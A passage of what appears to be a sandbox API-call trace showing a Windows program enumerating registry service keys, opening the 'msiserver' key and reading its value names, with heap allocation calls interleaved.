returned 5 [0260.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0260.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0260.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0260.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0260.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0260.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0260.060] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0260.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0260.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0260.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0260.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0260.127] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0260.128] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0260.129] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0260.130] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0260.131] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0260.132] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0260.133] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0260.134] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0260.135] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0260.135] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0260.135] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0260.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0260.135] RegCloseKey (hKey=0xc4) returned 0x0 [0260.135] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.135] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.135] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0260.136] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.136] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.136] RegCloseKey (hKey=0x14c) returned 0x0 [0260.136] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0260.137] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0260.137] RegCloseKey (hKey=0xc4) returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.137] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.138] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.138] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.138] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.138] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.138] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.138] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.138] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.138] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", 